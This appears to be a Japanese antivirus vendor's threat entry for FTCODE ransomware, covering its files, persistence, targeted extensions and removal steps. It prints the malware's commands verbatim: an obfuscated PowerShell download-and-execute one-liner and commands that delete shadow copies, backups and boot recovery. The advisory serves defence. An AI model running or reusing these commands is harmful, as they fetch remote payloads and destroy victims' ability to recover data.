Ransom.W97M.BXCODE.THJOCAI
RDN/Generic.dx (McAfee); Troj/DocDl-TXK (Sophos)
Windows
マルウェアタイプ:
身代金要求型不正プログラム(ランサムウェア)
破壊活動の有無:
なし
暗号化:
感染報告の有無 :
はい
概要
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
詳細
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のファイルを作成します。
- %User Temp%\AFX50058.tmp ← Current Date
- %Public%\OracleKit\w00log03.tmp ← GUID
- {Encrypted File Directory}\READ_ME_NOW.htm ← ransom notes
- %Public%\Libraries\WindowsIndexingService.vbs ← Executes a powershell command that will send information about the infected machine.
(註:%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザー名>\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local\Temp" です。. %Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)
マルウェアは、以下のプロセスを追加します。
- "%System%\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c function a($a){ return [char]$a; };$dutzb=''; 36,97,61,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,83,116,114,105,110,103,40,39,104,116,116,112,58,47,47,104,111,109,101,46,104,111,112,101,100,97,121,98,111,111,107,46,99,111,109,47,63,110,101,101,100,61,57,102,53,98,57,101,101,38,118,105,100,61,100,112,101,99,49,38,52,49,56,56,52,39,41,59,105,101,120,32,36,97,59|%{$idxfj=a($_);$dutzb+=$idxfj};iex $dutzb;
- "%System%\schtasks.exe" /create /TN WindowsApplicationService /sc DAILY /st 00:00 /f /RI 19 /du 23:59 /TR %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
- %System%\cmd.exe /c bcdedit /set ffchvwjhs bootstatuspolicy ignoreallfailures
- %System%\cmd.exe /c bcdedit /set ffchvwjhs recoveryenabled no
- %System%\cmd.exe /c wbadmin delete catalog -quiet
- %System%\cmd.exe /c wbadmin delete systemstatebackup
- %System%\cmd.exe /c wbadmin delete backup
- %System%\cmd.exe /c vssadmin delete shadows /all /quiet
(註:%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.. %System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)
マルウェアは、以下のフォルダを作成します。
- %Public%\OracleKit
(註:%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)
自動実行方法
マルウェアは、Windows起動時に自動実行されるよう<User Startup>フォルダ内に以下のファイルを作成します。
- %User Startup%\WindowsApplicationService.lnk
(註:%User Startup%フォルダは、現在ログオンしているユーザのスタートアップフォルダです。Windows 98およびMEの場合、通常 "C:\Windows\Profiles\<ユーザ名>\Start Menu\Programs\Startup" です。Windows NTの場合、通常 "C:\WINNT\Profiles\<ユーザ名>\Start Menu\Programs\Startup" です。Windows 2003(32-bit)、XP、2000(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>\Start Menu\Programs\Startup" です。Windows Vista、7、8、 8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" です。)
作成活動
マルウェアは、以下のファイルを作成します。
- %Public%\Libraries\thumbcache_64.db ← GUID, dropped by (%Public%\Libraries\WindowsIndexingService.vbs)
(註:%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)
ダウンロード活動
マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。
- http://home.{BLOCKED}ybook.com/?need=9f5b9ee&vid=dpec1&41884 ← powershell script that will be loaded in memory, performs as loader, downloader and encryption.
- http://home.{BLOCKED}s.com/?need=6ff4040&vid=dpec1& ← obfuscated VBS script that will execute a powershell command
情報漏えい
マルウェアは、以下の情報を収集します。
- Ransomware Version
- Status
- Powershell Version
- Generated Password
- GUID
- Machine Name
- OS version
情報収集
マルウェアは、HTTPポスト を介して、収集した情報を以下のURLに送信します。
- http://geer.{BLOCKED}m.com/
- http://connect.{BLOCKED}butmatters.com/
その他
マルウェアは、以下のファイルの属性を隠しファイルおよびシステムファイル属性に設定します。
- %Public%\Libraries\thumbcache_64.db
(註:%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)
ランサムウェアの不正活動
マルウェアは、以下の文字列を含むファイルを暗号化します。
- .sql
- .mp4
- .7z
- .rar
- .m4a
- .wma
- .avi
- .wmv
- .csv
- .d3dbsp
- .zip
- .sie
- .sum
- .ibank
- .t13
- .t12
- .qdf
- .gdb
- .tax
- .pkpass
- .bc6
- .bc7
- .bkp
- .qic
- .bkf
- .sidn
- .sidd
- .mddata
- .itl
- .itdb
- .icxs
- .hvpl
- .hplg
- .hkdb
- .mdbackup
- .syncdb
- .gho
- .cas
- .svg
- .map
- .wmo
- .itm
- .sb
- .fos
- .mov
- .vdf
- .ztmp
- .sis
- .sid
- .ncf
- .menu
- .layout
- .dmp
- .blob
- .esm
- .vcf
- .vtf
- .dazip
- .fpk
- .mlx
- .kf
- .iwd
- .vpk
- .tor
- .psk
- .rim
- .w3x
- .fsh
- .ntl
- .arch00
- .lvl
- .snx
- .cfr
- .ff
- .vpp_pc
- .lrf
- .m2
- .mcmeta
- .vfs0
- .mpqge
- .kdb
- .db0
- .dba
- .rofl
- .hkx
- .bar
- .upk
- .das
- .iwi
- .litemod
- .asset
- .forge
- .ltx
- .bsa
- .apk
- .re4
- .sav
- .lbf
- .slm
- .bik
- .epk
- .rgss3a
- .pak
- .big
- wallet
- .wotreplay
- .xxx
- .desc
- .py
- .m3u
- .flv
- .js
- .css
- .rb
- .png
- .jpeg
- .txt
- .p7c
- .p7b
- .p12
- .pfx
- .pem
- .crt
- .cer
- .der
- .x3f
- .srw
- .pef
- .ptx
- .r3d
- .rw2
- .rwl
- .raw
- .raf
- .orf
- .nrw
- .mrwref
- .mef
- .erf
- .kdc
- .dcr
- .cr2
- .crw
- .bay
- .sr2
- .srf
- .arw
- .3fr
- .dng
- .jpe
- .jpg
- .cdr
- .indd
- .ai
- .eps
- .pdd
- .psd
- .dbf
- .mdf
- .wb2
- .rtf
- .wpd
- .dxg
- .xf
- .dwg
- .pst
- .accdb
- .mdb
- .pptm
- .pptx
- .ppt
- .xlk
- .xlsb
- .xlsm
- .xlsx
- .xls
- .wps
- .docm
- .docx
- .doc
- .odb
- .odc
- .odm
- .odp
- .ods
- .odt
マルウェアは、暗号化されたファイルのファイル名に以下の拡張子を追加します。
- {encrypted file}.FTCODE
マルウェアが作成する以下のファイルは、脅迫状です。
- {Encrypted File Directory}\READ_ME_NOW.htm
対応方法
手順 1
トレンドマイクロの機械学習型検索は、マルウェアの存在を示す兆候が確認された時点で検出し、マルウェアが実行される前にブロックします。機械学習型検索が有効になっている場合、弊社のウイルス対策製品はこのマルウェアを以下の機械学習型検出名として検出します。
- Downloader.VBA.TRX.XXVBAF01FF005
手順 2
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 3
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 4
Windowsをセーフモードで再起動します。
手順 5
スケジュールされたタスクを削除する
タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。
Windows 2000、Windows XP、Windows Server 2003の場合:
- [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
- 上記の{タスク名} を、[名前]の欄に入力します。
- 入力した{タスク名} 持つファイルを右クリックします。
- [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
- 上記の{実行するタスク}と文字列が一致するタスクを削除します。
Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:
- Windowsタスクスケジューラを開きます。
• Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
• Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。 - 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
- 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
- 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
- 文字列が一致するタスクを削除します。
手順 6
以下のフォルダを検索し削除します。
手順 7
以下のファイルを検索し削除します。
- %User Temp%\AFX50058.tmp
- %Public%\OracleKit\w00log03.tmp
- {Encrypted File Directory}\READ_ME_NOW.htm
- %Public%\Libraries\WindowsIndexingService.vbs
- %User Startup%\WindowsApplicationService.lnk
- %Public%\Libraries\thumbcache_64.db
手順 8
コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Ransom.W97M.BXCODE.THJOCAI」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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